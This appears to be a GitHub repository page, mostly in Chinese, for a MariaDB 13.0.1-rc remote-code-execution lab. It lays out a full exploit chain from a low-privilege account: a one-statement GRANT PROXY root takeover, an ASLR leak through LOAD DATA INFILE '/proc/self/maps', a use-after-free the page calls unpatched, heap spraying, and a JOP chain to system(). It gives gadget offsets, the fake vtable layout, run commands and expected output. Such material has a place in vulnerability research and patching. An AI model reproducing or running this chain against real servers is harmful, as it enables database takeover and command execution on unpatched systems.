dinosn/mariadb-13-rce-lab
GitHub: dinosn/mariadb-13-rce-lab
MariaDB 13.0.1-rc 的 RCE 漏洞实验环境,演示了通过纯 SQL 实现提权、绕过 ASLR 并利用 UAF 漏洞执行任意命令的完整利用链。
Stars: 12 | Forks: 2
# MariaDB 13.0.1-rc RCE 实验环境
在**未经修改的 MariaDB 13.0.1-rc 官方 Docker 镜像**上以
uid 999 (mysql) 身份执行远程代码。
两种漏洞利用变体:
| 变体 | 文件 | 要求 | 备注 |
|---------|------|--------------|-------|
| **纯 SQL**(推荐) | `exploit_pure_sql.py` | 低权限 MariaDB 账户 + TCP | **无需主机访问权限,无需 docker,无需 /proc/mem,无需 root 密码** |
| 主机辅助 PoC | `exploit.py` | Docker 主机上的 root 权限 | 通过 `/proc//mem` 写入 JOP 链 |
已在以下环境测试并验证:`mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9`
(4/4 次运行,每次均具有全新的 ASLR 基址)。
## 纯 SQL 攻击模型 (`exploit_pure_sql.py`)
攻击者**仅**拥有:
- 一个仅有 USAGE 权限的 MariaDB 账户(compose 配置中的 `lowpriv` 用户)及其密码,以及
- 到 3306 端口的 TCP 连通性。
整条链均作为 SQL 语句执行;没有主机端进程访问,没有
docker 命令,没有已知的地址。每个运行时地址都是通过 SQL 从目标本身获取的:
```
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc//mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX(''), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c ''")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
```
剩下的**唯一**非 SQL 操作是漏洞利用后的清理工作:重启
(已经崩溃的)容器并显示标记文件 —— 它们不属于
漏洞利用过程。
### 替代旧的主机端辅助操作
| 旧辅助操作 | 纯 SQL 替代方案 |
|-------------------------|----------------------|
| `docker inspect` → PID + 主机端 `/proc//maps` | `LOAD DATA INFILE '/proc/self/maps'` |
| 用于 JOP 链的主机端 `/proc//mem` 写入 | 在分配时通过 `CONCAT`/`UNHEX` 嵌入内存布局;地址来自 SQL 端的 maps 差异对比;mmap 插槽复用使自引用保持有效 |
| `docker exec ... echo CMD > /tmp/payload_cmd.sh` | 命令字符串直接嵌入 JOP 布局中 |
| `mariadb -uroot -plabpass` (root 密码) | 从低权限账户通过 `GRANT PROXY` 提权 |
| `docker exec ... cat MARKER` | 仅用于显示证明 |
### 用法(纯 SQL)
```
# 开始实验
docker compose up -d
# 通过具备 TCP 访问权限的任意位置运行 exploit - 无需 host 访问权限
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
```
仅需要 `mariadb`/`mysql` 客户端和 Python 3。`--container` 用于
最终的标记显示(重启 + cat),如果通过其他方式
验证标记,则可以忽略此参数。
预期的输出末尾:
```
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
```
## 漏洞链(两种变体)
### 1. F-09 — 提权(任意用户 → DBA)
`GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA ''` 绕过了所有
权限检查。空的身份验证子句使得 `LEX_USER::has_auth()`
返回 false(跳过 `check_alter_user()`),而 `replace_user_table()` 仍然
应用空密码 —— 从而替换了 root 的凭证。**一条 SQL 语句,
任意已认证用户,适用于所有已发布的 MariaDB 版本。**
### 2. 通过 `/proc/self/maps` 破解 ASLR
`LOAD DATA INFILE '/proc/self/maps'` 从 SQL 内部读取 mariadbd 进程的完整内存布局,揭示了 PIE 基址和 libc 基
地址。在官方镜像上适用于 `secure_file_priv = NULL`(未设置)的情况。
### 3. F-05 — SYS_REFCURSOR use-after-free (0day,上游未修复)
`sp_cursor_array::get_cursor_by_ref()` 返回一个指向 `Dynamic_array` 内部的指针,而该数组的底层存储在增长时会被 `my_realloc` 重新分配。
当一个游标的 `open()` 方法执行攻击者控制的 SQL 并打开
额外的游标时,数组会增长,旧的存储空间被释放,而调用者
缓存的指针变成了悬空指针。
被释放的 chunk(16 个游标 x 112 字节 = 1792 字节)被一个由 128 个用户变量副本组成的 heap spray(每个 1784 字节,完全契合 glibc chunk)重新占用。spray payload 在偏移量 0x20(`sp_cursor` 的 `result` 成员)处放置了一个受控的 vtable 指针,该指针随后被用于虚函数分派 (virtual dispatch):
```
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
```
### 4. JOP 链 → system()
来自官方 mariadbd 二进制文件的两个 JOP gadget(没有 ROP,没有栈转移):
| Gadget | 偏移量 | 指令 | 用途 |
|--------|-------------|------------------------------------------|--------------------|
| D2 | PIE+0x80da77 | `call *0x100(%rax)` | 栈对齐修复 |
| D1 | PIE+0xe3075b | `mov rdi,[rax+0xa8]; call [rax+0xa0]` | 加载 cmd 指针,调用 system() |
伪造的 vtable V 存在于 128 MiB 的缓冲区中;布局:
```
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c ''\0"
```
### 5. 纯 SQL 地址发现技巧(新)
在不知道缓冲区地址之前写入自引用 JOP 数据的“鸡生蛋还是蛋生鸡”问题,由 glibc 的 mmap 行为解决:
1. 分配一个 128 MiB 的标记缓冲区 → 专用的 mmap 区域 (0x8001000,
数据位于区域+0x30) → 通过 `/proc/self/maps` 差异对比找到地址
2. 使用完整布局重新分配缓冲区(自引用 = V+0x140)
→ glibc munmap 旧的 chunk 并复用相同的插槽 → 地址稳定
3. 每一步都通过重新读取 `/proc/self/maps` 来验证;如果地址发生
移动,则重新生成自引用并重试写入(在实践中会
在单次迭代中收敛)
## 主机辅助变体 (exploit.py)
相同的链,但 JOP 布局是通过 Docker 主机(需要 root 权限)的
`/proc//mem` 写入进程的,payload 脚本是
通过 `docker exec` 创建的,并且它使用 compose 文件中的 root 密码进行连接。作为历史 PoC 保留;纯 SQL 变体已将其取代。
## 备注
- 截至 2026-08-03,F-05 SYS_REFCURSOR UAF 在上游尚未修复
(在 13.0.1 标签和 HEAD 之间,对 `sql/sp_cursor.{cc,h}` 的提交为零)。
- F-09 提权修复 (`dbd60d0ad8d`, MDEV-40470) 位于 dev
分支上,但在所有已发布的版本中均不存在(已验证 10.6.27 到 13.0.1)。
- 选择 128 MiB 是因为 glibc 的动态 mmap 阈值在大块内存释放后
可以增长到 4 MiB 以上;128 MiB 可以可靠地获得专用的 mmap 区域
(已验证 128 和 256 MiB;大于 max_allowed_packet 的尺寸会失败,因此
首先会提升 `SET GLOBAL max_allowed_packet` 并使用新的连接)。
- 此镜像/glibc 上 mmap 区域内的数据偏移量为 +0x30
(已在多次运行中验证;如果有所不同,请更新 `DATA_OFF`)。
## 发现工具
- [RAPTOR](https://github.com/dinosn/raptor) — 自主攻防研究框架
- [raptor-loop-hunt](https://github.com/dinosn/raptor) — 迭代漏洞搜寻插件
标签:Web报告查看器, XXE攻击, 提权, 编程工具, 请求拦截, 远程代码执行, 逆向工具